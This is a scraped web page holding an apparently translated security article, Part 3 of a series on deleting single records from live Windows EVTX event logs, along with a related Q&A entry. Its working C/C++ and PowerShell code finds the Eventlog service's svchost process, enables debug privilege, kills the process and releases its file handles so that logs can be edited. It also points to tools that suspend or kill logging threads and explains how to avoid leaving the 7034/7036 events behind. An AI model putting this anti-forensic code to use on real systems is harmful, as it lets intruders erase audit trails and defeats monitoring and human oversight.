[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fVhEOWzN0tROftDDJeITTQXpJUvzCrYV0WO15uO6Ztkw":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},140,"Why can't I directly open an EVTX log file for modification while the Eventlog service is running?","The Eventlog service opens its EVTX log files in exclusive mode, preventing other processes from opening them for writing. To modify a log record, you must either terminate the service process (releasing file handles) or obtain a handle from within the service process. This article covers the first approach, while subsequent parts discuss obtaining handles via [injection](\u002Fnews\u002Fwindows-xml-event-log-evtx-single-log-entry-deletion-part-4-deleting-a-single-log-record-from-the-current-system-by-obtaining-log-file-handle-via-injection) or [DuplicateHandle](\u002Fnews\u002Fwindows-xml-event-log-evtx-single-log-entry-deletion-part-5-deleting-a-single-log-entry-from-the-current-system-by-obtaining-log-file-handle-via-duplicatehandle).","\u003Cp>The Eventlog service opens its EVTX log files in exclusive mode, preventing other processes from opening them for writing. To modify a log record, you must either terminate the service process (releasing file handles) or obtain a handle from within the service process. This article covers the first approach, while subsequent parts discuss obtaining handles via [injection](\u002Fnews\u002Fwindows-xml-event-log-evtx-single-log-entry-deletion-part-4-deleting-a-single-log-record-from-the-current-system-by-obtaining-log-file-handle-via-injection) or [DuplicateHandle](\u002Fnews\u002Fwindows-xml-event-log-evtx-single-log-entry-deletion-part-5-deleting-a-single-log-entry-from-the-current-system-by-obtaining-log-file-handle-via-duplicatehandle).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwindows-xml-event-log-evtx-single-log-deletion-part-3-deleting-a-single-log-record-from-the-current-system-by-releasing-file-handles\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-cant-i-directly-open-an-evtx-log-file-for-modification-while-the-eventlog-se-1777484910533","EVTX, Eventlog service, exclusive mode, file handle, log deletion",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},38,"Windows XML Event Log (EVTX) Single Log Deletion (Part 3) – Deleting a Single Log Record from the Current System by Releasing File Handles","windows-xml-event-log-evtx-single-log-deletion-part-3-deleting-a-single-log-record-from-the-current-system-by-releasing-file-handles","Learn to delete single EVTX log records by stopping Eventlog service, releasing file handles, and modifying log files via C programming.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The third article in the series on Windows XML Event Log (EVTX) single log deletion introduces the first method to delete a single log record from the current system's evtx log file: stop the service's corresponding process, release file handles, free file occupation, delete the log, and restart the service.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Enumerate service information via a C program to extract the PID of the Eventlog service's corresponding process svchost.exe\u003C\u002Fli>\u003Cli>Elevate privileges and terminate the Eventlog process via a C program\u003C\u002Fli>\u003Cli>Release file handles via a C program\u003C\u002Fli>\u003Cli>Delete a single log file via a C program\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Deletion Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article, \"Windows XML Event Log (EVTX) Single Log Deletion (Part 2) – Programmatically Deleting a Single Log Record from an evtx File,\" the method for deleting a single log record was introduced. However, if directly applied to delete logs from the current system, an error occurs when opening the file, indicating that the file is occupied.\u003C\u002Fp>\u003Cp>This is because after the current system starts the Eventlog service, it opens the log file in exclusive mode, preventing other processes from opening the file and thus making modifications impossible.\u003C\u002Fp>\u003Cp>There are two solutions:\u003C\u002Fp>\u003Col>\u003Cli>Terminate the process corresponding to the Eventlog service to release file handles and gain permission to modify log files\u003C\u002Fli>\u003Cli>Obtain the handle to a specific log file within the Eventlog service process and use that handle to modify the log file\u003C\u002Fli>\u003C\u002Fol>\u003Cp>This article will introduce the first solution, share implementation details, and finally provide open-source code\u003C\u002Fp>\u003Cp>The second solution will be detailed in a subsequent article\u003C\u002Fp>\u003Ch2>0x03 Obtain the pid of the svchost.exe process corresponding to the Eventlog service\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Since Windows has multiple svchost.exe processes, you cannot directly search for the process name \"svchost.exe\" to get the pid for the Eventlog service\u003C\u002Fp>\u003Cp>Query approach:\u003C\u002Fp>\u003Cp>Enumerate current system services and filter for the corresponding process pid based on the service name\u003C\u002Fp>\u003Ch3>1. Implementation via PowerShell\u003C\u002Fh3>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Implementation via C++\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>#pragma comment(lib,\"Advapi32.lib\")\u003Cbr>DWORD getpid()\u003Cbr>{\u003Cbr>\tDWORD PID = 0;\u003Cbr>\tSC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\u003Cbr>\tif (scHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]OpenSCManager fail(%ld)\", GetLastError());\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tSC_ENUM_TYPE infoLevel = SC_ENUM_PROCESS_INFO;\u003Cbr>\t\tDWORD dwServiceType = SERVICE_WIN32;\u003Cbr>\t\tDWORD dwServiceState = SERVICE_STATE_ALL;\u003Cbr>\t\tLPBYTE lpServices = NULL;\u003Cbr>\t\tDWORD cbBufSize = 0;\u003Cbr>\t\tDWORD pcbBytesNeeded;\u003Cbr>\t\tDWORD servicesReturned;\u003Cbr>\t\tLPDWORD lpResumeHandle = NULL;\u003Cbr>\t\tLPCSTR pszGroupName = NULL;\u003Cbr>\t\tBOOL ret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\tcbBufSize = pcbBytesNeeded;\u003Cbr>\t\tlpServices = new BYTE[cbBufSize];\u003Cbr>\t\tif (NULL == lpServices)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]lpServices = new BYTE[%ld] -&gt; fail(%ld)\\n\", cbBufSize, GetLastError());\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\t\tLPENUM_SERVICE_STATUS_PROCESS lpServiceStatusProcess = (LPENUM_SERVICE_STATUS_PROCESS)lpServices;\u003Cbr>\t\t\tfor (DWORD i = 0; i &lt; servicesReturned; i++)\u003Cbr>\t\t\t{\u003Cbr>\t\t\t\t_strlwr_s(lpServiceStatusProcess[i].lpServiceName, strlen(lpServiceStatusProcess[i].lpServiceName) + 1);\u003Cbr>\t\t\t\tif (strstr(lpServiceStatusProcess[i].lpServiceName, \"eventlog\") != 0)\u003Cbr>\t\t\t\t{\u003Cbr>\t\t\t\t\tprintf(\"[+]ServiceName:%s\\n\", lpServiceStatusProcess[i].lpServiceName);\u003Cbr>\t\t\t\t\tprintf(\"[+]PID:%ld\\n\", lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId);\u003Cbr>\t\t\t\t\tPID = lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId;\u003Cbr>\t\t\t\t}\u003Cbr>\t\t\t}\u003Cbr>\t\t\tdelete[] lpServices;\u003Cbr>\t\t}\u003Cbr>\t\tCloseServiceHandle(scHandle);\u003Cbr>\t}\u003Cbr>\tif (PID == 0)\u003Cbr>\t\tprintf(\"[!]Get EventLog's PID error\\n\");\u003Cbr>\u003Cbr>\treturn PID;\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char *argv[])\u003Cbr>{\u003Cbr>\tDWORD pid = getpid();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Privilege Escalation to Terminate Eventlog Process\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Implementation via PowerShell\u003C\u002Fh3>\u003Cp>Execute the cmd command taskkill\u003C\u002Fp>\u003Ch3>2. Implementation via C++\u003C\u002Fh3>\u003Cp>C++ code requires elevated privileges to terminate the svchost.exe process\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>\u003Cbr>#pragma comment(lib,\"Advapi32.lib\") \u003Cbr>\u003Cbr>BOOL EnableDebugPrivilege(BOOL fEnable)\u003Cbr>{\u003Cbr>\tBOOL fOk = FALSE;\u003Cbr>\tHANDLE hToken;\u003Cbr>\u003Cbr>\tif (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken))\u003Cbr>\t{\u003Cbr>\t\tTOKEN_PRIVILEGES tp;\u003Cbr>\t\ttp.PrivilegeCount = 1;\u003Cbr>\t\tLookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;tp.Privileges[0].Luid);\u003Cbr>\t\ttp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;\u003Cbr>\t\tAdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL);\u003Cbr>\t\tfOk = (GetLastError() == ERROR_SUCCESS);\u003Cbr>\t\tCloseHandle(hToken);\u003Cbr>\t}\u003Cbr>\treturn(fOk);\u003Cbr>}\u003Cbr>\u003Cbr>DWORD getpid()\u003Cbr>{\u003Cbr>\tDWORD PID = 0;\u003Cbr>\tSC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\u003Cbr>\tif (scHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]OpenSCManager fail(%ld)\", GetLastError());\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tSC_ENUM_TYPE infoLevel = SC_ENUM_PROCESS_INFO;\u003Cbr>\t\tDWORD dwServiceType = SERVICE_WIN32;\u003Cbr>\t\tDWORD dwServiceState = SERVICE_STATE_ALL;\u003Cbr>\t\tLPBYTE lpServices = NULL;\u003Cbr>\t\tDWORD cbBufSize = 0;\u003Cbr>\t\tDWORD pcbBytesNeeded;\u003Cbr>\t\tDWORD servicesReturned;\u003Cbr>\t\tLPDWORD lpResumeHandle = NULL;\u003Cbr>\t\tLPCSTR pszGroupName = NULL;\u003Cbr>\t\tBOOL ret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\tcbBufSize = pcbBytesNeeded;\u003Cbr>\t\tlpServices = new BYTE[cbBufSize];\u003Cbr>\t\tif (NULL == lpServices)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]lpServices = new BYTE[%ld] -&gt; fail(%ld)\\n\", cbBufSize, GetLastError());\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tret = EnumServicesStatusEx(scHandle, infoLevel, dwServiceType, dwServiceState, lpServices, cbBufSize, &amp;pcbBytesNeeded, &amp;servicesReturned, lpResumeHandle, pszGroupName);\u003Cbr>\t\t\tLPENUM_SERVICE_STATUS_PROCESS lpServiceStatusProcess = (LPENUM_SERVICE_STATUS_PROCESS)lpServices;\u003Cbr>\t\t\tfor (DWORD i = 0; i &lt; servicesReturned; i++)\u003Cbr>\t\t\t{\u003Cbr>\t\t\t\t_strlwr_s(lpServiceStatusProcess[i].lpServiceName, strlen(lpServiceStatusProcess[i].lpServiceName) + 1);\u003Cbr>\t\t\t\tif (strstr(lpServiceStatusProcess[i].lpServiceName, \"eventlog\") != 0)\u003Cbr>\t\t\t\t{\u003Cbr>\t\t\t\t\tprintf(\"[+]ServiceName:%s\\n\", lpServiceStatusProcess[i].lpServiceName);\u003Cbr>\t\t\t\t\tprintf(\"[+]PID:%ld\\n\", lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId);\u003Cbr>\t\t\t\t\tPID = lpServiceStatusProcess[i].ServiceStatusProcess.dwProcessId;\u003Cbr>\t\t\t\t}\u003Cbr>\t\t\t}\u003Cbr>\t\t\tdelete[] lpServices;\u003Cbr>\t\t}\u003Cbr>\t\tCloseServiceHandle(scHandle);\u003Cbr>\t}\u003Cbr>\u003Cbr>\treturn PID;\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char *argv[])\u003Cbr>{\u003Cbr>\u003Cbr>\tDWORD pid = getpid();\u003Cbr>\tif (pid == 0)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Get EventLog's PID error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to EnableDebugPrivilege... \");\u003Cbr>\tif (!EnableDebugPrivilege(TRUE))\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]AdjustTokenPrivileges Failed.&lt;%d&gt;\\n\", GetLastError());\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to OpenProcess... \");\u003Cbr>\tHANDLE processHandle = OpenProcess(PROCESS_TERMINATE, FALSE, pid);\u003Cbr>\tif (processHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"Error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\tprintf(\"[+]Try to TerminateProcess... \");\u003Cbr>\tBOOL bResult = TerminateProcess(processHandle, 0);\u003Cbr>\tif (bResult == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Error\\n\");\u003Cbr>\t\treturn -1;\u003Cbr>\t}\u003Cbr>\tprintf(\"Done\\n\");\u003Cbr>\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fwindows.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After terminating the Eventlog service process, the Eventlog service will automatically restart after a period of time\u003C\u002Fp>\u003Ch2>0x05 Release File Handles\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After terminating the Eventlog service process, it is also necessary to release the handles to the log files in order to obtain file modification permissions\u003C\u002Fp>\u003Cp>\u003Cstrong>Implementation approach:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>1. Use NtQuerySystemInformation to query SystemHandleInformation and obtain handle information for all processes\u003C\u002Fp>\u003Cp>2. Select all handles within the log process\u003C\u002Fp>\u003Cp>3. Release handle\u003C\u002Fp>\u003Cp>Key code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL CloseFileHandle(LPWSTR buf1, DWORD pid)\u003Cbr>{\u003Cbr>\tNTSTATUS status;\u003Cbr>\tPSYSTEM_HANDLE_INFORMATION handleInfo;\u003Cbr>\tULONG handleInfoSize = 0x10000;\u003Cbr>\tHANDLE processHandle = NULL;\u003Cbr>\tULONG i;\u003Cbr>\tDWORD ErrorPID = 0;\u003Cbr>\tSYSTEM_HANDLE handle = { 0 };\u003Cbr>\u003Cbr>\t_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtQuerySystemInformation\");\u003Cbr>\tif (!NtQuerySystemInformation)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtQuerySystemInformation entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\t_NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtDuplicateObject\");\u003Cbr>\tif (!NtDuplicateObject)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtDuplicateObject entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\t_NtQueryObject NtQueryObject = (_NtQueryObject)GetProcAddress(GetModuleHandleA(\"NtDll.dll\"), \"NtQueryObject\");\u003Cbr>\tif (!NtQueryObject)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]Could not find NtQueryObject entry point in NTDLL.DLL\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\u003Cbr>\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);\u003Cbr>\twhile ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)\u003Cbr>\t\thandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);\u003Cbr>\tif (!NT_SUCCESS(status))\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]NtQuerySystemInformation failed!\\n\");\u003Cbr>\t\treturn 0;\u003Cbr>\t}\u003Cbr>\u003Cbr>\tUNICODE_STRING objectName;\u003Cbr>\tULONG returnLength;\u003Cbr>\tfor (i = 0; i &lt; handleInfo-&gt;HandleCount; i++)\u003Cbr>\t{\u003Cbr>\t\thandle = handleInfo-&gt;Handles[i];\u003Cbr>\t\tHANDLE dupHandle = NULL;\u003Cbr>\t\tPOBJECT_TYPE_INFORMATION objectTypeInfo = NULL;\u003Cbr>\t\tPVOID objectNameInfo = NULL;\u003Cbr>\u003Cbr>\t\tif (handle.ProcessId != pid)\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (handle.ProcessId == ErrorPID)\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId)))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"[!]Could not open PID %d!\\n\", handle.ProcessId);\u003Cbr>\t\t\tErrorPID = handle.ProcessId;\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\u003Cbr>\t\tif (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &amp;dupHandle, 0, 0, 0)))\u003Cbr>\t\t{\u003Cbr>\t\t\t\u002F\u002F\t\t\tprintf(\"[%#x] Error!\\n\", handle.Handle);\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tobjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);\u003Cbr>\t\tif (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL)))\u003Cbr>\t\t{\u003Cbr>\t\t\t\u002F\u002F\t\t\tprintf(\"[%#x] Error!\\n\", handle.Handle);\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tobjectNameInfo = malloc(0x1000);\u003Cbr>\u003Cbr>\t\tif (IsBlockingHandle(dupHandle) == TRUE) \u002F\u002Ffilter out the object which NtQueryObject could hang on\u003Cbr>\t\t{\u003Cbr>\t\t\tfree(objectTypeInfo);\u003Cbr>\t\t\tfree(objectNameInfo);\u003Cbr>\t\t\tCloseHandle(dupHandle);\u003Cbr>\t\t\tCloseHandle(processHandle);\u003Cbr>\t\t\tcontinue;\u003Cbr>\t\t}\u003Cbr>\t\tCloseHandle(dupHandle);\u003Cbr>\t}\u003Cbr>\tfree(handleInfo);\u003Cbr>\u003Cbr>\treturn TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x06 Modify log files, delete log records\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After terminating the process corresponding to the Eventlog service, permission to manipulate log files is obtained. Methods and C code for modifying log files can be referenced in the previous article 'Windows XML Event Log (EVTX) Single Log Entry Deletion (Part 2) – Program Implementation to Delete Single Log Records in EVTX Files'.\u003C\u002Fp>\u003Cp>Code reference address:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code implements automatic acquisition of log service processes, termination of processes, release of handles, modification of specified system log file content, and restarting the log service after successful modification\u003C\u002Fp>\u003Cp>Program testing is shown in the figure:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019766077_0_bfccb772cc.jpeg\">\u003C\u002Fp>\u003Ch3>Update (2018.7.29)\u003C\u002Fh3>\u003Cp>Another implementation approach was seen on GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002F360-A-Team\u002FEventCleaner\u002Fblob\u002Fmaster\u002FEventCleaner\u002F\u003C\u002Fp>\u003Cp>It is worth noting that log deletion uses the WinAPI EvtExportLog\u003C\u002Fp>\u003Cp>Using EvtExportLog to filter log files, with the filter condition being the removal of a specific log entry, so the newly generated file is the one after deleting the single log entry\u003C\u002Fp>\u003Cp>The advantage is that there is no need to consider the details of log deletion, the file format will not be corrupted, it is convenient and efficient, and modifying the filter conditions can easily delete logs within a certain period\u003C\u002Fp>\u003Cp>However, there is a slight drawback:\u003C\u002Fp>\u003Cp>For subsequent logs after deletion, the EventRecordID is not updated\u003C\u002Fp>\u003Cp>A simple example:\u003C\u002Fp>\u003Cp>There are 10 logs under Security.evtx, with EventRecordIDs from 1 to 10. After deleting the 8th log via EvtExportLog, the EventRecordIDs of the 9th and 10th logs remain unchanged, still 9 and 10. However, the total number of logs after deletion is 9, with EventRecordIDs sequentially being 1-7, 9, 10\u003C\u002Fp>\u003Cp>The method adopted in my code can solve this problem, but it requires considering many details and unexpected situations, making the program implementation relatively complex.\u003C\u002Fp>\u003Cp>Therefore, I have also incorporated the method of using EvtExportLog to delete logs in my project, with the address as follows:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code implements automatically obtaining the log service process, terminating the process, releasing handles, using EvtExportLog to modify the content of specified system log files, and restarting the log service after successful modification.\u003C\u002Fp>\u003Cp>Program testing is shown in the figure:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019779831_1_0deefe4a39.jpeg\">\u003C\u002Fp>\u003Ch2>0x07 Other Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In some cases, closing the Eventlog process and restarting the Eventlog service may generate log files located under system.evtx, with EventIDs 7034 and 7036.\u003C\u002Fp>\u003Cp>To avoid generating logs 7034 and 7036, the logging function can be disabled by terminating the Eventlog service thread.\u003C\u002Fp>\u003Cp>PowerShell implementation code for terminating the Eventlog service thread:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fhlldz\u002FInvoke-Phant0m\u003C\u002Fp>\u003Cp>C implementation code for terminating the Eventlog service thread:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>Analysis article introducing details:\u003C\u002Fp>\u003Cp>Bypassing Windows Log Monitoring Using API NtQueryInformationThread and I_QueryTagInformation\u003C\u002Fp>\u003Cp>In practical applications, the thread is typically suspended first and then resumed at the end\u003C\u002Fp>\u003Cp>Reference address:\u003C\u002Fp>\u003Cp>`An open-source project\u003C\u002Fp>\u003Cp>The code supports suspending, resuming, and terminating the log service thread, which can be used to disable and restore logging functionality\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article describes a method to delete a single log record in the current system by terminating the corresponding service process, releasing file handles, and freeing file occupancy.\u003C\u002Fp>\u003Cp>Optimized the code for disabling logging functionality by adding suspension and resumption code, supporting the disabling and re-enabling of the system's logging feature.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The third article in the series on Windows XML Event Log (EVTX) single log deletion introduces the first method to delete a single log record from the current system's evtx log file: stop the service's corresponding process, release file handles, free file occupation, delete the log, and restart the service.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Enumerate service information via a C program to extract the PID of the Eventlog service's corresponding process svchost.exe\u003C\u002Fli>\u003Cli>Elevate privileges and terminate the Eventlog process via a C program\u003C\u002Fli>\u003Cli>Release file handles via a C program\u003C\u002Fli>\u003Cli>Delete a single log file via a C program\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Deletion Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article, \"Windows XML Event Log (EVTX) Single Log Deletion (Part 2) – Programmatically Deleting a Single Log Record from an evtx File,\" the method for deleting a single log record was introduced. However, if directly applied to delete logs from the current system, an error occurs when opening the file, indicating that the file is occupied.\u003C\u002Fp>\u003Cp>This is because after the current system starts the Eventlog service, it opens the log file in exclusive mode, preventing other processes from opening the file and thus making modifications impossible.\u003C\u002Fp>\u003Cp>There are two solutions:\u003C\u002Fp>\u003Col>\u003Cli>Terminate the process corresponding to the Eventlog service to release file handles and gain permission to modify log files\u003C\u002Fli>\u003Cli>Obtain the handle to a specific log file within the Eventlog service process and use that handle to modify the log file\u003C\u002Fli>\u003C\u002Fol>\u003Cp>This article will introduce the first solution, share implementation details, and finally provide open-source code\u003C\u002Fp>\u003Cp>The second solution will be detailed in a subsequent article\u003C\u002Fp>\u003Ch2>0x03 Obtain the pid of the svchost.exe process corresponding to the Eventlog service\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Since Windows has multiple svchost.exe processes, you cannot directly search for the process name \"svchost.exe\" to get the pid for the Eventlog service\u003C\u002Fp>\u003Cp>Query approach:\u003C\u002Fp>\u003Cp>Enumerate current system services and filter for the corresponding process pid based on the service name\u003C\u002Fp>\u003Ch3>1. Implementation via PowerShell\u003C\u002Fh3>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Implementation via C++\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cwindows.h>\u003Cbr>#pragma comment(lib,\"Advapi32.lib\")\u003Cbr>DWORD getpid()\u003Cbr>{\u003Cbr>\tDWORD PID = 0;\u003Cbr>\tSC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);\u003Cbr>\tif (scHandle == NULL)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"[!]OpenSCManager fail(%ld)\", GetLastError());\u003Cbr>\t}\u003Cbr>\telse\u003Cbr>\t{\u003Cbr>\t\tSC_ENUM_TYPE infoLevel = SC_ENUM_PROCESS_INFO;\u003Cbr>\t\tDWORD dwServiceType = SERVICE_WIN32;\u003Cbr>\t\tDWORD dwServiceState = SERVICE_STATE_ALL;\u003Cbr>\t\tLPBYTE lpServices = NULL;\u003Cbr>\t\tDWORD cbBufSize 